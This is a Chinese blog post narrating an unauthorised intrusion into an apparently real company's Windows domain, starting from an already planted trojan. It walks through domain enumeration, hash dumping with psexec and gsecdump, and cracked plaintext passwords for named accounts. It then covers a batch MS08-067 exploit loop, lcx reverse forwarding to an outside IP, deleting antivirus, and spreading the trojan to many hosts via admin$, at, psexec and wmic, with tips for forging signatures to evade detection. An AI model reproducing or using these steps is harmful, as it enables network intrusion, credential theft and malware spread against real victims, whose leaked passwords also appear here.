10、一篇經典的域滲透文章

FLy_鵬程萬里發表於2018-06-11

最近在整理資料時發現一些滲透筆記，於是翻開看看，原來有一個老外的內部網還沒有拿下。當時已經給內網的一臺機器種植了木馬，反正閒著沒事就拿它來練練手吧。開啟遠端居然肉雞還在，廢話就不多說了，下面開始吧。
首先來看看已經控制的這臺電腦在內網中充當什麼角色，並收集一些常規的資訊。執行ipconfig /all(如圖1)

從 這裡我們可以看出，此計算機名為abimaq6，ip地址是172.16.16.139。子網掩碼為255.255.240.0、閘道器172.16.16.1、DNS伺服器分別是172.16.16.2和172.16.16.3。還有一個重要的就是這臺機器於域管理模式中，所在域為abimaq.local。

既然是域結構，再來獲取一下域使用者列表，執行net user /domain命令(如圖2)。該命令可顯示所有的域使用者名稱單。看來域使用者還真多。


再來看看這個內網中到底存在多少個域，要是處於多域狀態滲透是比較麻煩的。再執行net view /domain看看這個內網存在多少個域(如圖3)。從結果可知這個內網只有ABIMAQ這個域。


現在知道這個內網只有一個域，還知道域使用者。我們現在要做的事情就是要獲取域當中的管理員列表，因為上面獲取的是全部使用者資訊，包括一般使用者跟管理員。這裡要獲取域管理員列表可以使用net group "domain admins" /domain命令(如圖4)。


要是你還想獲取某使用者的詳細資訊的話，可以使用net user 域使用者 /domain命令獲取。
獲取了上面的資訊之後還是先彆著急進行攻擊，要真正滲透一個內網需要獲取的資訊還有很多的。再來刺探一下內網的機器分佈狀況。執行net view命令，列出內網中的計算機(如圖5)。


由計算機名跟備註很容易看出此計算機的用途，圖中我左了相關注釋。例如計算名為abimaq01這個機器，備註為servidor master ad，以這個命名看，估計這臺就是域伺服器了。一般情況下，域伺服器跟DNS伺服器都是同一臺機器的，這裡我們來驗證一下。這裡用nbtstat命令，執 行nbtstat -a abimaq01(如圖6,圖是本機抓的)。


如果命令執行的成的話，就可以通過計算機名獲取相應ip的。
除了nbtstat命令之外，其實ping命令也可以實現的。執行ping abimaq01(如圖7)。


很容易看出abimaq01的IP就是172.16.16.2，這裡只能說明這個是DNS伺服器。要證明DNS伺服器跟域伺服器是否是同一個機器，還需要執行ping abimaq.local名判斷域伺服器的IP地址(如圖8)。


通過返回資訊可知，證實這裡的DNS伺服器跟域伺服器是同一臺機器。
現在再回過頭來看看這臺機器與內網中的哪些機器通訊，執行arp -a(如圖9)。


這裡有些朋友就會問為什麼要獲取這些計算機的列表了，當然你也可以不獲取，但是我個人認為還是有這個必要的，有些機器用net view列不出來的，也不能ping，那你就無法判斷它是否存在了。但是要是那機器也本機器有通訊的話，用arp -a命令就能查出這個機器。
通過遠端木馬控制這臺機器，看看內網機器分佈吧(如圖10)，看看域伺服器的共享(如圖11).



既然域伺服器有共享資料夾，我們可以查詢可寫目錄然後給檔案捆綁木馬，這樣就能控制其他電腦了。嘗試把DC上的共享資料夾對映到本地F盤，試著建立一個資料夾，提示沒有許可權(如圖12)


一 般都是沒許可權的了，有些目錄是有許可權寫的，但是那些沒有用途，那些只是對當前使用者有效，就是域伺服器給你分配的這個使用者的。上傳抓HASH工具，抓圖本地 HASH，然後通過彩虹表破解其密碼可得一下賬號密碼資訊：Administrator  km3h7ikill   kill51888dookie  dookie1savsak  savsakmadking  112121zdzws   56649223amsonhsx  Hsx1314520
得到上面資訊是非常有用的，既然上面已經獲取域管理員存在一個administrator賬號，這裡就用psexec.exe和gsecdump.exe抓取HASH。

執行psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u(圖13)。


哈 哈。把HASH抓出來了，看來RP還是不錯。繼續丟去用彩虹表跑密碼，結果如下：ABIMAQ\Administrator密 碼：k78m90ABIMAQ\MonitorMagicSvcAccnt密碼：.......HS58Y7ABIMAQ\ABIMAQ6$破解失敗
既然得到密碼，就讓它執行遠端木馬：psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe(如圖14)


這下奇怪了，上線的不是172.16.16.2，而是執行命令的那臺機器，重複上線了。（如圖15）


這下可鬱悶了。於是想嘗試一下ms08067對其他機器進行溢位，上傳S掃描器上去，掃描開放445埠的機器。執行s.exe tcp 172.16.16.2 172.16.16.254 445 512 /save，掃描結果如圖16。


整理IP後用批處理溢位：
@echo off
@for /f %%a in (445.txt) do (MS08-067.exe %%a | find "Send Payload Over!"&&echo %%a>>yichu.txt)
exit

卡巴竟然殺了我的檔案，傳上去是免殺的，但是執行溢位程式就殺了。真鬱悶，並且用遠端操作計算機不能把防毒軟體停止掉，還是首次遇到這個情況的。因為用遠端終端能關閉的，記得上次我在遠端終端的進去能停止的，於是用LCX反彈出來。如圖17、18。
★遠端執行：lcx.exe -slave 123.116.113.25 51 172.16.16.139 3389
  本地本地：lcx.exe -listen 51 3389



結 果反彈不出來，估計是路由器做了策略了。至於為什麼我的遠端為什麼能連線，因為我的木馬配置是用80埠的，一般會禁用這個埠通訊的。無奈之下，只能把 防毒軟體刪除掉，當時我真是氣死了。然後再用ms08-067.exe進行溢位，結果毫無收穫，要不是打上補丁，要不就是把相關服務停止了。
搞這 個域伺服器真是不那麼容易啊，一般內網入侵用得最多的就是net use命令，這裡還是用它。執行net use \\172.16.16.2\IPC$ "k78m90" /user:"admintitrator"建立ipc$連線，結果提示1219錯誤(如圖19)。


★ 錯誤號分析原因：
錯誤號5，拒絕訪問：很可能你使用的使用者不是管理員許可權的，先提升許可權；
錯誤號51，Windows無法找到網路路徑：網路有問題；
錯誤號53，找不到網路路徑：ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；
錯誤號67，找不到網路名：你的lanmanworkstation服務未啟動或者目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集衝突：你已經和對方建立了一個ipc$，請刪除再連；
錯誤號1326，未知的使用者名稱或錯誤密碼：原因很明顯了；
錯誤號1792，試圖登入，但是網路登入服務沒有啟動：目標NetLogon服務未啟動；
錯誤號2242，此使用者的密碼已經過期：目標有帳號策略，強制定期要求更改密碼
★既然提示要先刪除現有的ipc$連線再連，就執行net use * /del /yes把全部連線刪除吧。再次執行net use \\172.16.16.2\IPC$ "k78m90" /user:"admintitrator"又提示錯誤號1312，這下可更加鬱悶了，經驗告訴我們
錯誤號1312，是許可權不夠造成的。繼續執行net use \\172.16.16.2\IPC$ "k78m90" /user:"aABIMAQ\Administrator" 命令(如圖20)，終於成功了。


細 心的朋友可能會發現上述兩句的使用者不同，為什麼不同會導致兩個結果的。在此期間請教LCX大牛得知某些域需要新增域名的，有些則不需要。接下來就好辦了， 就是複製木馬過去執行，執行copy 2009.exe \\172.16.16.2\admin$命令(如圖21)。


用net time \\172.16.16.2命令(如圖22)檢視一下遠端機器的時間，準備用AT命令計劃一個任務讓遠端機器執行木馬。


於是執行at \\172.16.16.2 1:40 2009.exe命令在遠端機器建立一個任務(如圖23)


等 了幾分鐘都上線不了。有可能是複製過去不成功，也有可能被殺，同樣也有可能是任務沒有執行。結果檢視任務還在處理中，沒有執行，這是因為執行時間還沒有 到，霎時暈倒！建議還是用24小時制來操作，這樣就不會錯了。繼續執行at \\172.16.16.2 13:50 2009.exe 命令就能上線了。
現在拿下域伺服器了，肯定也要控制其他機器才過癮的，習慣上執行arp -a 看看本計算機會話情況。如圖24。結果真的嚇一跳，不單單是172.16.16.X這段，還有172.16.18.X、172.16.19.X、172.16.20.X。內網可真不小啊！



費勁的事情，這裡可以考慮修改域伺服器配置檔案，這樣每當用於登陸時就載入木馬，這樣就方便多了，但是這樣有一個弊端就是容易被發現。 加上我也不知道怎麼修改配置檔案，哈哈！知道的兄弟告訴我一下啊。這裡我還是使用psexec.exe批量執行木馬。執行psexec.exe @pc.txt -u ABIMAQ\Administrator -p k78m90 -c c:\kav\2009.exe命令即可批量操作了。這命令的意思讀取pc.txt檔案裡面存放的ip，然後分別複製c:\kav\2009.exe到遠 程計算機中執行。如何尋找線上主機呢？其實用ping命令就能獲取，可以把如下程式碼儲存成批處理執行即可：
@echo off
set "ip=172.16.18"
@for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
set "ip=172.16.19"
@for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
set "ip=172.16.20"
@for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
exit

執行之後將會把線上機器的IP寫入到scan.txt檔案，然後把其中的ip列表儲存成pc.txt，這樣就很方便地進行批量種植木馬了(如圖26)。


至此，內網中的發部分伺服器都沒有被我種植上木馬了，這下爽死咯！
總結：在滲透此內網過程中遇到很多問題，大概有一下幾點需要注意的：

1.使用psexec.exe時，不帶-C引數(即為複製到遠端計算機中)的話，很多時候會執行不成功的。我這裡測試了兩臺，一定要帶這
2.要是一些小程式被殺了，可以嘗試一下偽造數字標籤，看看能否免殺。
3.使用net use時遇到錯誤，檢視一下這個錯誤號代表什麼意思，對滲透很有幫助的！
4. 過程中我使用上興遠端的命令列操作，但是由於軟體的bug問題使我走了很多彎路，因為這個命令列中限制了執行語句的長度，如果語句過長就自動分成兩句執 行，之所以上面機器重複上線，就是因為那一個語句被分成兩個語句來執行了，最終就是在本地執行了木馬。還有一個就是遠端種植木馬也是同樣的問題，我開始一 直以為是psexec.exe的問題，但是後來我把語句儲存成批處理然後再執行就能種植成功，軟體的BUG真是搞死了啊，這個問題誤導了我一個晚上，強烈 鄙視上興。
5.其中還遇到一個問題，就是我建立了ipc$連線之後，然後肯定是用at命令執行程式吧，但是對方的at命令被禁用了，而不是停止或 者暫停，這裡就沒有辦法開啟了嗎？我沒有研究出來，要是停止或者暫停的情況下，我們還可以通過psservice.exe \\172.16.16.7 -u ABIMAQ\Administrator -p k78m90 "Task Scheduler"這樣把其啟動，要是禁用了，大家還有什麼方法呢？
6.第一次執行psexec.exe可以帶/accepteula引數防止彈出確定的介面。
7.要遠端執行程式，還可以通過wmic命令的，如：wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe


相關文章